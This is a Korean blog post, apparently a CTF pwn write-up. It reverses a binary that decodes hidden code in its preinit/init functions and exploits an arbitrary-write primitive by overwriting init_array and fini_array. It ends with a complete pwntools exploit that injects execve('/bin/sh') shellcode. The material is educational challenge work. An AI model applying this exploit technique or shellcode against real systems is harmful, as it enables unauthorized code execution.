64비트 기반이고 실행파일의 보호기법은 PIE와 ssp가 걸려있습니다.
특이한점은 메모리 내에 rwx 권한이 있다는것입니다.
이 권한이 있는것을 보니 쉘코드를 활용하는 문제인것으로 유추할수 있을것같은데 한번 실행시켜보면
처음에 알수없는값이 출력되고 값을 입력해보면 세그폴트가 나타납니다.
도데체 무슨 프로그램인지 알아내기위해 IDA로 분석해보면
main함수는 다음과 같습니다.
처음에는 입력을 받은뒤 입력값이 전역변수값과 같으면 Correct! 라는 메세지를 출력하고
아니면 Incorrect 라는 메세지를 출력하는데
사용되는 전역변수의 값이 어디서 초기화되는지 살펴보면
위와 같이 랜덤값을 뽑아서 다른 변수들과 연산을 거친값의 결과입니다.
그러므로 당장 랜덤함수를 뚫을만한 방법은 보이지 않습니다.
그런데 아무리봐도 실행했을때랑 너무 다른 로직이 나옵니다.
다른 함수들을 전부다 살펴봐도 프로그램을 실행했을때 나오는 로직은 보이지 않는데
함수들중에서 수상한 함수가 하나보입니다.
이 함수는 0x2000에 위치한 데이터를 1바이트씩 xor연산을 진행합니다.
그리고 이 영역의 데이터를 확이해보면
다음과 같이 수많은 데이터가 존재합니다.
저는 이 데이터가 제가 프로그램을 실행했을때 나오는 숨겨진 로직이라고 생각했고
위의 함수가 어디서 호출되는지 확인해보니
다음과 같이 preinit,init,fini 배열에 함수들이 위치해있습니다.
이것을 보면서 파악해본 바로는, 위의 배열에 위치해있는 순서대로 호출된다는것입니다.
ELF 파일구조에 따라 preinit,init.fini 순서대로 동작할것이므로
main함수가 호출되기 이전에 preinit,init 배열에 있는 함수들이 호출될것이므로 함수들을 순서대로 분석해보면
처음에는 0x2000 주소에 sys_mprotect 활용해서 데이터 크기만큼 rwx권한을 부여합니다.
이 뒤에 아까전에 분석했던 xor함수가 있는것을 보아하니
0x2000에 있는 데이터를 조작하기위해서 권한을 임시적으로 부여한것이고
이후에 호출되는 함수에서는 0x2000위치의 데이터에 권한을 낮추는 작업을 합니다.
프로그램 변조를 막기위해서 권한을 낮추는것으로 파악되는데
우선 변조되는 데이터를 직접 연산해서 프로그램에 패치한뒤 다시 분석을 해봤습니다.
그러면 위와같이 프로그램이 실행될때 나오는 진짜 로직이 나옵니다.
프로그램을 분석해보면 처음에 v2를 출력해주는데 v2는 dword_0의 주소입니다.
이 주소는 바로 프로그램의 시작이므로 출력해주는 임의의 데이터는 바로 PIE base 입니다.
그리고 이후에 로직을 분석해보면, 값을 두번 입력받아서 aaw를 수행합니다.
이 말은 값을 쓸수 있는 메모리영역에 데이터를 변조할수 있다는것입니다.
PIE 가 걸려있지만 다행히도 처음에 PIE base를 주기 때문에 그것은 별 문제가 되지 않습니다.
하지만 이 로직에서는 got 영역을 aaw하지 못하도록 검사로직이 포함되어 있으므로
ssp 검사함수의 got를 덮는것은 불가능합니다.
다행히 main함수에서 유추해야할 랜덤값은 aaw로 덮을수 있고, 첫번째 입력값이 널값이면 이 함수를 끝내고
_init_array에 있는 함수들을 호출한뒤 main함수를 호출합니다.
하지만 _init_array 에 있는 함수는 바로 랜덤값 설정 함수입니다.
그러므로 아무리 덮는다고 하더라도 랜덤함수를 거치면 값이 다시 초기화 됩니다.
그래서 제가 생각해본 방법은 다음과 같습니다.
aaw 함수에서 검사로직에 의하면 init_array와 fini_array도 aaw로 덮을수 있습니다.
그리고 aaw함수는 init와 fini 전에 호출되므로
처음 aaw를 할때는 init 영역에있는 랜덤함수의 주소를 rwx권한을 부여하는 mprotect함수로 덮어서
aaw함수를 다시 변조할수 있게 변경한다음, fini 영역은 aaw함수의 주소로 덮어서
main 함수에서 리턴되면 다시 aaw 함수를 호출하도록 변조할것입니다.
그리고 추가적으로 fini를 거치려면 main함수에서 정상적으로 리턴해야하는데
문제를 맞추지 못하면 바로 sys_exit를 콜하므로 문제를 맞춰야만 정상적으로 호출할수 있습니다.
다행히도 랜덤함수에서 쓰이는 전역변수들은 unk_45A0 이후에 있으므로 aaw로 덮을수 있습니다.
그러므로 이 값들중 하나를 덮어서 랜덤값이 0이 되도록 값을 변조시켜주면 main함수에서 문제를 맞출수 있습니다.
이후에 aaw함수에 쓰기 권한을 줬으므로 적당한 위치에있는 코드를 쉘코드로 변조시켜준뒤
그곳으로 점프하도록 쉘코드를 주입하면 쉘코드를 성공적으로 실행시킬수 있습니다.
단, 한번에 쓸수있는 주소의 단위는 8바이트이므로 쉘코드에 nop를 사용해서 적당히 사이즈를 맞춰줬습니다.
그리고 반복문으로 한번에 8바이트씩 덮도록 코드를 작성해줬습니다.
최종 익스플로잇 코드는 다음과 같습니다.
from pwn import *
HOST = os.environ.get('HOST', 'localhost')
PORT = 31337
p = remote(HOST,PORT)
#context.log_level = 'debug'
#raw_input('1')
pie_base = u64(p.recvn(8))
print("PIE base : "+hex(pie_base))
init = pie_base + 0x4330
fini = pie_base + 0x4338
bss = pie_base + 0x45c0
mprotect = pie_base + 0x1370
aaw = pie_base + 0x2000
rand_var = pie_base + 0x45b4
shellcode = asm(f"""
xor rdi,rdi;
xor rsi,rsi;
xor rdx,rdx;
mov rdi,0x{bss:x};
xor rax,rax;
mov al,59;
syscall;
nop;
nop;
nop;
nop;
nop;
nop;
""", arch="amd64",os="linux")
# overwrite init
p.send(p64(init))
p.send(p64(mprotect))
# overwrite fini
p.send(p64(fini))
p.send(p64(aaw))
# overwrite rand_var
p.send(p64(rand_var))
p.send(p64(0))
p.send(p64(0)) # end aaw
p.send(p32(0)) # input answer
# write /bin/sh to bss
p.send(p64(bss))
p.send(p64(u64(b'/bin/sh\x00')))
for i in range(0,len(shellcode),8): # shellcode injection
p.send(p64(aaw+i))
p.send(p64(u64(shellcode[i:i+8])))
jmp_shellcode = b'\xe9\x52\xff\xff\xff\x90\x90\x90'
p.send(p64(aaw+0xa9))
p.send(p64(u64(jmp_shellcode)))
#p.sendline()
#p.sendline(b'./submitter')
p.interactive()
'CTF' 카테고리의 다른 글
2024 Nov HSAPCE Space War CTF (Physical Lab) (0) | 2024.11.03 |
---|---|
DefCamp CTF 2024 Quals Writeup [Pwn] (2) | 2024.10.02 |
[DEF CON CTF Qualifier 2023] Live CTF : What a maze meant (0) | 2023.05.31 |
2023 TAMUctf write-up (0) | 2023.05.15 |
[2023 root access CTF] write-up (3) | 2023.05.02 |